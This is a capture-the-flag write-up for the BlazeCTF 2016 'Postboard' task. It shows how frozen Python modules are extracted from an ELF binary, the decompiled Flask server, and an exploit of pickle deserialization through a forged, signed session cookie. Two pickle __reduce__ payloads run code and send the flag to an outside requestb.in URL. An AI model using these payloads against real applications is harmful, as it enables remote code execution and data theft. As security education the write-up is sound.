Below you can find my solution for Postboard task from BlazeCTF 2016.
We got ELF file. After checking it in disassembler it seems to be Python to ELF file - Freeze.
At 0x881D40
we can find PyImport_FrozenModules
structure:
.data:0000000000881D40 _PyImport_FrozenModules _frozen <offset aBasehttpserver, offset M_BaseHTTPServer, 54C8h>
.data:0000000000881D40 _frozen <offset aDlfcn, offset M_DLFCN, 0AE6h> ; "ast"
.data:0000000000881D40 _frozen <offset aFixtk, offset M_FixTk, 7C3h>
.data:0000000000881D40 _frozen <offset aOpenssl, offset M_OpenSSL, 0FFFFFC53h>
.data:0000000000881D40 _frozen <offset unk_581FB2, offset M_OpenSSL__version, 0F3h>
.data:0000000000881D40 _frozen <offset aSocketserver, offset M_SocketServer, 5D7Ah>
.data:0000000000881D40 _frozen <offset aStringio, offset M_StringIO, 2CAAh>
.data:0000000000881D40 _frozen <offset aTkconstants, offset M_Tkconstants, 8BCh>
.data:0000000000881D40 _frozen <offset aTkinter, offset M_Tkinter, 302D6h>
.data:0000000000881D40 _frozen <offset unk_581FE3, offset M_UserDict, 2212h>
.data:0000000000881D40 _frozen <offset a_lwpcookiejar, offset M__LWPCookieJar, 158Ah>
.data:0000000000881D40 _frozen <offset a_mozillacookie, offset M__MozillaCookieJar, 115Ch>
.data:0000000000881D40 _frozen <offset a__future__, offset M___future__, 10B0h>
.data:0000000000881D40 _frozen <offset a__main__, offset M___main__, 1525h>
.data:0000000000881D40 _frozen <offset a_abcoll, offset M__abcoll, 60D2h>
.data:0000000000881D40 _frozen <offset a_markerlib, offset M__markerlib, 0FFFFFBBFh>
.data:0000000000881D40 _frozen <offset a_markerlib_mar, offset M__markerlib__markers, 13BFh>
.data:0000000000881D40 _frozen <offset a_osx_support, offset M__osx_support, 2D0Ch>
Most important file to us is __main__
stored at 0x8C8FE0
size 0x1525
.
After dumping this region it looks like .pyc
file.
So we add PyImport_GetMagicNumber
to it and try to convert .pyc
to .py
using for example Easy Python Decompiler.
You can also dump all modules using this little python script (credits to 1amtom):
import ctypes
import struct
import functools
import itertools
start_offset = 0x281d40
file_path = r'server'
with open( file_path, 'rb' ) as f:
f.seek( start_offset )
for i in xrange( 0, 238-1 ):
mod_name_offset = struct.unpack( '<Q', f.read( 8 ) )[ 0 ] - 0x400000
mod_pcode_start = struct.unpack( '<Q', f.read( 8 ) )[ 0 ] - 0x600000
mod_pcode_size = struct.unpack( '<Q', f.read( 8 ) )[ 0 ]
mod_pcode_size = abs( ctypes.c_int16( mod_pcode_size ).value )
old_offset = f.tell()
f.seek( mod_name_offset )
mod_name = ''.join( [ c for c in iter( functools.partial( f.read, 1 ), '\x00' ) ] )
f.seek( mod_pcode_start )
print 'i={0}, Module={1}, Offset=0x{2:X}, Size={3}'.format( i, mod_name, mod_pcode_start, mod_pcode_size )
with open( '{0}.pyc'.format( mod_name ), 'wb' ) as out:
out.write( '\x03\xF3\x0D\x0A\x61\x5E\x02\x57' )
out.write( f.read( mod_pcode_size ) )
f.seek( old_offset )
So now we have full task source code:
# Embedded file name: server.py
from cPickle import dumps, loads
from flask import *
from os import chroot
import random, string
from encodings import ascii
import encodings
app = Flask(__name__)
class user_entry(object):
def __init__(self, username, password):
self.u = username
self.p = password
self.t = gentoken()
return None
class post_entry(object):
def __init__(self, content, postID):
self.c = content
self.i = postID
users = {}
posts = {}
with open('../flagdir/flag', 'r') as f:
p = post_entry('flag', f.read())
posts['flag'] = p
def gentoken():
return ''.join(random.sample(string.ascii_lowercase * 16, 16))
def userExists(username):
if username in users:
return True
else:
return False
def addUser(username, password):
if userExists(username):
return False
else:
u = user_entry(username, password)
users[username] = u
return True
def checkUser(username, password):
if not userExists(username) or getUser(username).p != password:
return False
else:
return True
def getUser(username):
return users[username]
def verifySession():
if 'auth' not in session:
return False
u = loads(session['auth'])
if not u or u.u not in users:
session.clear()
return False
return getUser(u.u).t == u.t
def getPost(postID):
if postID not in posts:
return 'post not found'
else:
return posts[postID].c
def getAllPosts():
s = "<a href='/post'>make new post</a><br><br>"
s += '\n'.join([ '<a href="/post/%s">%s</a>' % (x, x) for x in posts ])
return s
def addPost(content, postID):
if postID in posts:
return 'Post already exists!\n'
p = post_entry(content, postID)
posts[postID] = p
return app.make_response(redirect('/post/all'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
print request.form
usern = request.form['username']
passw = request.form['password']
if checkUser(usern, passw):
redirect_to = redirect('/post/all')
response = app.make_response(redirect_to)
session['auth'] = dumps(getUser(usern))
return response
else:
return 'login fail'
else:
return send_from_directory('.', 'login.html')
@app.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'POST':
if addUser(request.form['username'], request.form['password']):
return 'register success\n'
else:
return 'User Exists\n'
else:
return send_from_directory('.', 'register.html')
@app.route('/post/<postID>', methods=['GET'])
def post_request(postID):
if not verifySession():
return redirect(url_for('index'))
elif request.method == 'GET':
return get_post(postID)
else:
return 'what? be nice\n'
@app.route('/post', methods=['POST', 'GET'])
def new_post():
if not verifySession():
return 'not authorized!\n'
elif request.method == 'POST':
return addPost(request.form['content'], request.form['id'])
else:
return send_from_directory('.', 'newpost.html')
def get_post(postID):
if postID == 'all':
return getAllPosts()
elif postID == 'flag':
return 'This post has been disabled by the admin for being too dank\n'
else:
return getPost(postID)
@app.route('/<arg>', methods=['POST', 'GET'])
def index(arg):
if arg == '':
arg = 'index.html'
if not verifySession():
print 'send file', arg
return send_from_directory('.', arg)
else:
return app.make_response(redirect('/post/all'))
@app.route('/', methods=['GET'])
def index_2():
return index('')
app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'
app.run(port=1337, debug=False, host='0.0.0.0')
chroot('.')
Here we need to exploit cPickle.loads
which deserialize object from untrusted user input session['auth']
inside verifySession()
function.
More info about this kind of attack you can read here.
By default flask sign all cookies when app.secret_key
is set.
Lucky to us we have secret value decrypted from ELF file, so we can sign any cookie.
Normally we will simply read ../flagdir/flag
file and send it to us using for example:
class GetFlag(object):
def __reduce__(self):
return (subprocess.call,
(['python',
'-c',
'import urllib2;'
'flag = open("../flagdir/flag").read();'
'urllib2.urlopen("http://requestb.in/xxxx?f="+flag)'],))
But it won't work. Why? Because of chroot('.')
- we are inside chroot jail.
So instead of reading files we need to read flag from global posts
variable using eval()
.
For signing cookie I create small Flask app which encode payload and create valid cookie:
from cPickle import dumps
from flask import *
app = Flask(__name__)
class GetFlag(object):
def __reduce__(self):
return (eval,('__import__("urllib2").urlopen("http://requestb.in/xxxx?f="+posts[\\'flag\\'].i)',))
@app.route('/', methods=['POST', 'GET'])
def index():
session['auth'] = dumps(GetFlag())
return 'OK'
app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'
app.run(port=1337, debug=True, host='0.0.0.0')
So now we open http://localhost:1337
in browser, read session
cookie value and then send new request to task server.
GET /post HTTP/1.1
Host: here_task_ip:1337
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: session=here_cookie_value
Connection: close